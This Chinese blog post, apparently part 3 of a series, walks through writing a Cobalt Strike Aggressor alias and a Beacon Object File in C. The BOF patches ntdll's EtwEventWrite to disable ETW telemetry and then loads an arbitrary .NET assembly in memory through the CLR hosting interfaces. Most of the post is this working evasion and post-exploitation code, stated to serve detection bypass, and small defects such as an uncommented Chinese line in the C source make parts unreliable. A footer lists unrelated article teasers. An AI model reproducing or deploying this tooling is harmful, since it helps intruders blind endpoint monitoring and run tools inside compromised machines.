Execute-Assembly(3)

绕过检测

        绕过前面检测的最简单的思路就是Patch ETW。而我想的是使用BOF进行Bypass ETW 以及Assembly加载。值得庆幸得是CobaltStrike官方以及有大佬已经做了这一部分的研究。

 脚本学习

        在官方的文档Beacon Object Files中,详细描写了怎么使用CNA和BOF。根据文档提供的例子。

alias hello {
 local('$barch $handle $data $args');
 
 # figure out the arch of this session
 $barch  = barch($1);
 
 # read in the right BOF file
 $handle = openf(script_resource("hello. $+ $barch $+ .o"));
 $data   = readb($handle, -1);
 closef($handle);
 
 # pack our arguments
 $args   = bof_pack($1, "zi", "Hello World", 1234);
 
 # announce what we're doing
 btask($1, "Running Hello BOF");
 
 # execute it.
 beacon_inline_execute($1, $data, "demo", $args);
}

  使用local定义了本地变量。

  使用barch函数获取进程架构,以此后续拼接读取BOF时使用。参数$1表示的是当前会话的ID。Alias的参数有3个。

  • $0 是我们起的别名和传输的参数

  • $1 是当前会话的 ID

  • $2-3-4....第二个参数及以后,就是我们 是我们传递的参数,他们由空格隔开,我们举一个例子:

       然后通过readb读取BOF文件(.obj)

 然后再将参数打包。参数1 $1表示会话ID,第二个参数是传入参数的类型,参数类型如下。从第三个参数就是传入的参数。

最后调用beacon_inline_execute,其实就是执行inline_execute命令。第三个参数是入口点函数。

       需要参考Sleep语言的说明http://sleep.dashnine.org/manual/index.html

beacon_command_register(
"InlineExecute_Assembly", 
"test1", 
"test2");

alias InlineExecute_Assembly{
 $data = substr($0, 5);
 @args = split(' ', $data);
 println(@args); 

 local('$AssemblyPath $AssemblyArgs');
 $AssemblyPath = "";
 $AssemblyArgs = "";

 @Optional = @("--AssemblyPath" , "--AssemblyArgs");
 for($i = 0; $i < size(@args) ; $i++){
  if (@args[$i] eq "--AssemblyPath"){
   if(@args[$i + 1] ne ""){
    $AssemblyPath = @args[$i + 1];
    #println($AssemblyPath);
   }
   
  }
  else if (@args[$i] eq "--AssemblyArgs"){
   for($j = $i + 1; $j < size(@args) ; $j++){
    if(@args[$j] in @Optional){
     break;
    }
    if(strlen($AssemblyArgs) == 0){
     $AssemblyArgs = @args[$j]
    }
    else{
     $AssemblyArgs = $AssemblyArgs." ".@args[$j];
    }
   }
   #println($AssemblyArgs);
  }
 }

 # charge AssemblyPath is invaid
 if($AssemblyPath eq "" || !-exists $AssemblyPath || !-isFile $AssemblyPath){
  println($AssemblyPath." is vailed or does not exist\n");
  return;
 }
    
    # read .Net
 $AssemblyHandle = openf($AssemblyPath);
 $AssemblyLength = lof($AssemblyPath);
 $AssemblyBytes = readb($AssemblyHandle , -1);
 closef($AssemblyHandle);
 if(strlen($AssemblyBytes) == 0){
  println($AssemblyPath."load failed \n");
 }
 println("size of .Net is: ".$AssemblyLength);

 # load bof
 $barch  = barch($1);
 $BofPath = script_resource("InlineExecute_Assembly_ $+ $barch $+ .obj");
 
 $BofHandle = openf($BofPath);
 $BofBytes = readb($BofHandle, -1);
 closef($BofHandle);
 if(strlen($BofBytes) == 0){
  println($BofPath." load failed \n");
  return;
 }
 println("bof file path is: ".$BofPath);
 println("size of bof file is:".lof($BofPath));

 println("args is:".$AssemblyArgs);
 $bofArgs = bof_pack($1, "biz",  $AssemblyBytes , $AssemblyLength , $AssemblyArgs);
 #$bofArgs = bof_pack($1, "zi",  $BofPath , $AssemblyLength);
 btask($1, "Running Inline_Execute Assembly BOF");
 beacon_inline_execute($1, $BofBytes, "go", $bofArgs);

 clear(@Optional);

}

BOF编写

        BOF主要需要实现两个点,第一实现ByPass ETW,第二需要实现Assembly加载。先看官方给的例子。首先使用BeaconDataParse解析参数,然后调用BeaconDataExtractBeaconDataInt依次获取string类型和int类型。

其中Bypass ETW原理很简单,只需要Patch EtwEventWrite或者EtwEventWriteFull函数,而Assembly Load就是上面所描述的四个步骤即可。

#include "InlineExecute_Assembly.h"
#include "beacon.h"

#define STATUS_SUCCESS 0

BOOL PatchETW()
{
 LPVOID pEtwEventWrite = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

 if (pEtwEventWrite == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] pEtwEventWrite Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] pEtwEventWrite Success");

 DWORD oldProtect;

#ifdef _M_AMD64
 SIZE_T length = 1;
 char patch[] = { 0xc3 };
#elif defined(_M_IX86)
 SIZE_T length = 3;
 char patch[] = { 0xc2,0x14,0x00 };
#endif

 NTSTATUS ntStatus = STATUS_SUCCESS;
 HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, TRUE, KERNEL32$GetCurrentProcessId());
 BeaconPrintf(CALLBACK_OUTPUT, "[+] OpenProcess Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, PAGE_EXECUTE_READWRITE, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");

 SIZE_T NumberOfBytesWritten = 0;
 if (KERNEL32$WriteProcessMemory(hProcess, pEtwEventWrite, patch, length, &NumberOfBytesWritten) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] WriteProcessMemory Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] WriteProcessMemory Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, oldProtect, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");
 return TRUE;

}


BOOL FindVersion(char* AssemblyBytes, int dwLength)
{
 BOOL flag = TRUE;
 char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
 for (int i = 0; i < dwLength; i++)
 {
  if (MSVCRT$memcmp(AssemblyBytes, v4, 10) == 0)
  {
   flag = TRUE;
   break;
  }
 }
 return flag;
 //int count = 0;
 //for (int i = 0; i < dwLength; i++)
 //{
 // for (int j = 0; j < 10; j++)
 // {
 //  if (AssemblyBytes[i] == v4[j])
 //  {
 //   count++;
 //  }
 // }
 // if (count == 10)
 // {
 //  flag = TRUE;
 //  break;
 // }
 // count = 0;
 // 
 //}
 //return flag;
}

BOOL AssemblyLoad(wchar_t* wNetVersion , char* AssemblyBytes , DWORD AssemblyLength, LPWSTR* ArgumentsArray, int NumArguments)
{
 HRESULT hr;
 ICLRMetaHost* iMetaHost = NULL;
 ICLRRuntimeInfo* iRuntimeInfo = NULL;
 ICorRuntimeHost* iRuntimeHost = NULL;
 IUnknown* pAppDomain = NULL;
 AppDomain* pDefaultAppDomain = NULL;
 Assembly* pAssembly = NULL;
 MethodInfo* pMethodInfo = NULL;

 SAFEARRAYBOUND saBound[1];
 void* pData = NULL;
 VARIANT vRet;
 VARIANT vObj;
 VARIANT vPsa;
 SAFEARRAY* args = NULL;

 hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (VOID**)&iMetaHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] CLRCreateInstance Failed:%d",hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLRCreateInstance Success");


 hr = iMetaHost->lpVtbl->GetRuntime(iMetaHost, wNetVersion, &xIID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] GetRuntime Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetRuntime Success");

 hr = iRuntimeInfo->lpVtbl->GetInterface(iRuntimeInfo,&xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetInterface Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetInterface Success");

 hr = iRuntimeHost->lpVtbl->Start(iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]CLR Start Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR Start Success");


 //hr = iRuntimeHost->lpVtbl->GetDefaultDomain(iRuntimeHost,&pAppDomain);
 hr = iRuntimeHost->lpVtbl->CreateDomain(iRuntimeHost, (LPCWSTR)L" ", NULL, &pAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetDefaultDomain Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetDefaultDomain Success");


 hr = pAppDomain->lpVtbl->QueryInterface(pAppDomain, &xIID_AppDomain, (VOID**)&pDefaultAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]QueryInterface Failed:%p", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] QueryInterface Success");

 saBound[0].cElements = AssemblyLength;
 saBound[0].lLbound = 0;
 SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, saBound);
 if (pSafeArray == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayCreate Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+]SafeArrayCreate Success");

 hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pData);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayAccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayAccessData Success");

 MSVCRT$memcpy(pData, AssemblyBytes, AssemblyLength);

 hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayUnaccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayUnaccessData Success");

 hr = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain,pSafeArray, &pAssembly);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]Load_3 Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Load_3 Success");

 hr = pAssembly->lpVtbl->EntryPoint(pAssembly,&pMethodInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]EntryPoint Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] EntryPoint Success");

 MSVCRT$memset(&vRet, 0, sizeof(VARIANT));
 MSVCRT$memset(&vObj, 0, sizeof(VARIANT));
 vObj.vt = VT_NULL;
 vPsa.vt = (VT_ARRAY | VT_BSTR);
 args = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, 1);
 if (NumArguments > 1)
 {
  vPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, NumArguments);
  for (long i = 0; i < NumArguments; i++)
  {
   OLEAUT32$SafeArrayPutElement(vPsa.parray, &i, OLEAUT32$SysAllocString(ArgumentsArray[i]));
  }
  long idx[1] = { 0 };
  OLEAUT32$SafeArrayPutElement(args, idx, &vPsa);
 }

 hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo,vObj, args, &vRet);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]Invoke Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Invoke Success");

 pMethodInfo->lpVtbl->Release(pMethodInfo);
 pAssembly->lpVtbl->Release(pAssembly);
 pDefaultAppDomain->lpVtbl->Release(pDefaultAppDomain);
 iRuntimeInfo->lpVtbl->Release(iRuntimeInfo);
 iMetaHost->lpVtbl->Release(iMetaHost);
 OLE32$CoUninitialize();
 return TRUE;

}

void go(char* args, int length)
{
 BeaconPrintf(CALLBACK_OUTPUT, "[+] go go go");

 if(PatchETW() == TRUE)
 {
  BeaconPrintf(CALLBACK_OUTPUT,"patch etw Success");
 }

 datap  parser;
 BeaconDataParse(&parser, args, length);
 char* AssemblyBytes = BeaconDataExtract(&parser, NULL);
 DWORD AssemblyLength = BeaconDataInt(&parser);
 char* AssemblyArguments = BeaconDataExtract(&parser, NULL);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] AssemblyArguments: %s and AssemblyLength :%d ", AssemblyArguments, AssemblyLength);

 wchar_t* wNetVersion = NULL;
 if (FindVersion(AssemblyBytes, AssemblyLength) == TRUE)
 {
  wNetVersion = L"v4.0.30319";
  //toWideChar("v4.0.30319", wNetVersion, 22);
 }
 else
 {
  wNetVersion = L"v2.0.50727";
  //toWideChar("v2.0.50727", wNetVersion, 22);
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wNetVersion is %ls", wNetVersion);

 将Assembly参数转化为WCHAR类型
 size_t convertedChars = 0;
 wchar_t* wAssemblyArguments = NULL;
 DWORD wideSize = MSVCRT$strlen(AssemblyArguments) + 1;
 wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));
 MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, AssemblyArguments, _TRUNCATE);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] wAssemblyArguments is %ls", wAssemblyArguments);

 int NumArgs = 0;
 LPWSTR* ArgumentsArray = NULL;
 ArgumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &NumArgs);
 BeaconPrintf(CALLBACK_OUTPUT, "[+] ArgumentsArray is %ls", wAssemblyArguments);

 AssemblyLoad(wNetVersion, AssemblyBytes, AssemblyLength, ArgumentsArray, NumArgs);

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/537336.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【opencv】示例-detect_blob.cpp

// 导入所需的OpenCV头文件 #include <opencv2/core.hpp> #include <opencv2/imgproc.hpp> #include <opencv2/highgui.hpp> #include <opencv2/features2d.hpp> // 导入向量和映射容器 #include <vector> #include <map> // 导入输入输出…

阿里云租用服务器GPU配置报价单_1年_一个月_1小时价格表

阿里云GPU服务器租用价格表包括包年包月价格、一个小时收费以及学生GPU服务器租用费用&#xff0c;阿里云GPU计算卡包括NVIDIA V100计算卡、T4计算卡、A10计算卡和A100计算卡&#xff0c;GPU云服务器gn6i可享受3折优惠&#xff0c;阿里云服务器网aliyunfuwuqi.com分享阿里云GPU…

智能制造六大核心发展方向,驱动企业数字化转型

在制造过程中&#xff0c;智能制造展现出非凡的活力&#xff0c;它使人与智能机器的协同工作成为可能。这不仅将制造自动化的概念提升至一个新的层次&#xff0c;更将其扩展至柔性化、智能化和高度集成化的领域。通过这样的革新&#xff0c;我们得以实现数字化智能工厂的落地生…

Vue的学习之旅-part5

Vue的学习之旅-part5 虚拟DOM的原理用JS模拟DOM结构 vue的方法、计算属性、过滤器computed:{} 计算属性computed计算属性的完全体computed计算属性和methods方法的区别&#xff1a;过滤器&#xff1a;filters:{ 多个方法 } Vuex 状态管理模式 前几篇博客: Vue的学习之旅-part1 …

城市道路井盖破损丢失目标检测数据集VOC-1377张

数据集格式&#xff1a;Pascal VOC格式(不包含分割路径的txt文件和yolo格式的txt文件&#xff0c;仅仅包含jpg图片和对应的xml) 图片数量(jpg文件个数)&#xff1a;1377 标注数量(xml文件个数)&#xff1a;1377 标注类别数&#xff1a;4 标注类别名称:["jg","jg…

ARM64架构栈帧回溯

文章目录 前言一、栈帧简介二、demo演示 前言 请参考&#xff1a;ARM64架构栈帧以及帧指针FP 一、栈帧简介 假设下列函数调用&#xff1a; funb() {func() }funa() {funb() }main() {funa() }main函数&#xff0c;funa函数&#xff0c;funb函数都不是叶子函数&#xff0c;其…

AWS服务器有哪些优势?

作为一家总部在美国的公司&#xff0c;AWS为什么会受到中国企业的喜爱&#xff1f;他有什么优势&#xff1f;九河云作为AWS合作伙伴&#xff0c;将会带读者展现使用AWS的优势。 首先是作为跨国企业&#xff0c;AWS在全球有数十个区域节点&#xff0c;这种广泛的地域覆盖不仅有…

IDEA2023连接服务器docker并部署ruoyi-cloud-plus项目

文章目录 TCP 方式连接docker1. 服务器docker配置修改查看虚拟机中Docker配置文件位置修改配置文件重启docker服务关闭防火墙 2. idea安装docker插件3. idea连接docker服务 部署ruoyi-cloud-plus项目1. 项目环境说明2. 安装Centos73. 安装docker4. idea配置服务器SSH连接5. ide…

局域网内部使用的视频会议系统推荐

随着远程办公的普及和全球化的发展趋势&#xff0c;企业需要一个高效、灵活、安全的音视频会议解决方案&#xff0c;以支持远程办公的协同工作、跨地域沟通等需要。私有化音视频会议就是一个适合企业自身部署的解决方案。它不仅能够满足企业信息管理和保密的需求&#xff0c;而…

Latent Diffusion Models

Latent Diffusion Models(潜在扩散模型,LDMs)是一种生成模型,它结合了扩散模型和变分自动编码器(VAES)的优势,从文本或其他输入模式生成高质量图像。近年来,这些模型受到了相当大的关注,因为它们能够在保持对发电过程的控制的同时产生高度现实和多样化的产出。 Laten…

【灵境矩阵】零代码创建AI智能体之行业词句助手

欢迎来到《小5讲堂》 这是《灵境矩阵》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 创建智能体选择创建方式零代码 基础配置头像名称简介指令开场白…

从零开始写 Docker(十)---实现 mydocker logs 查看容器日志

本文为从零开始写 Docker 系列第十篇&#xff0c;实现类似 docker logs 的功能&#xff0c;使得我们能够查查看容器日志。 完整代码见&#xff1a;https://github.com/lixd/mydocker 欢迎 Star 推荐阅读以下文章对 docker 基本实现有一个大致认识&#xff1a; 核心原理&#x…

git push报错remote: Please remove the file from history and try again

原因&#xff1a;上传文件超过100M&#xff0c;找到此文件删除即可。 1、查看是哪个文件过大&#xff0c;此处对用红框里面的 a6de1336c67c3bac77757c5eff8c8001823f7c92&#xff0c;得到具体的文件名称 git rev-list --objects --all | grep a6de1336c67c3bac77757c5eff8c80…

Pytest自动化测试框架完美结合Allure

简介 Allure Framework是一种灵活的、轻量级、多语言测试报告工具。 不仅可以以简洁的网络报告形式非常简洁地显示已测试的内容&#xff0c; 而且还允许参与开发过程的每个人从日常执行中提取最大程度的有用信息和测试。 从开发/测试的角度来看&#xff1a; Allure报告可以…

静音检测电路芯片D3703F——工 作 电 压 范 围 宽 : 3.2V ~ 16.0V,可以用于汽 车 音 响 系 统

概 述 &#xff1a; D3703F 是 一 块 汽 车 音 响 静 音 检 测 电 路 。 用 于 音 响 系 统 检 测 在 放 音 或 快 进 / 退 时 进 行 静 音 检 测 。 D3703F 的 的 电 压 范 围 &#xff1a; 3.2V &#xff5e; 16V &#xff0c; 信 号 检 测 和 静 音 时 间 可 通 过 外 围…

私有化即时通讯软件,WorkPlus提供的私有化、安全通讯解决方案

在当今信息化快速发展的时代&#xff0c;安全问题已经成为各行各业关注的焦点。特别是在金融、政府单位和芯片等关键行业&#xff0c;信息安全的重要性不言而喻。这些行业涉及到大量的敏感数据和关键信息&#xff0c;一旦发生泄露&#xff0c;可能会对国家安全、企业利益甚至个…

JavaSE——常用API进阶二(2/8)-BigDecimal(BigDecimal的常见构造器、常用方法,用法示例,使用规范)

目录 BigDecimal BigDecimal的常见构造器、常用方法 用法示例 使用规范 在进行浮点型运算时&#xff0c;直接使用“ - * / ”可能会出现运算结果失真&#xff0c;例如&#xff1a; System.out.println(0.1 0.2); System.out.println(1.0 - 0.32); System.out.println(1.…

IO流【内存流、打印流、随机访问流】;初识网络编程

day37 IO流 继day36 各种流 对象流 day36 内存流 class ByteArrayInputStream – 内存输入流 class ByteArrayOutputStream – 内存输出流 注意&#xff1a; 内存流是程序和内存交互&#xff0c;跟文件无关内存流是程序到内存的通道&#xff0c;是关闭不掉的 应用场景&#x…

互联网轻量级框架整合之设计模式

反射技术 Java的反射技术能够通过配置类的全限定名、方法和参数完成对象的初始化&#xff0c;甚至反射某些方法&#xff0c;大大的增强了Java的可配置型&#xff0c;这也是Spring IoC的底层原理&#xff0c;Java的反射技术覆盖面很广&#xff0c;包括对象构建、反射方法、注解、…

(Java)数据结构——图(第七节)Folyd实现多源最短路径

前言 本博客是博主用于复习数据结构以及算法的博客&#xff0c;如果疏忽出现错误&#xff0c;还望各位指正。 Folyd实现原理 中心点的概念 感觉像是充当一个桥梁的作用 还是这个图 我们常在一些讲解视频中看到&#xff0c;就比如dist&#xff08;-1&#xff09;&#xff0…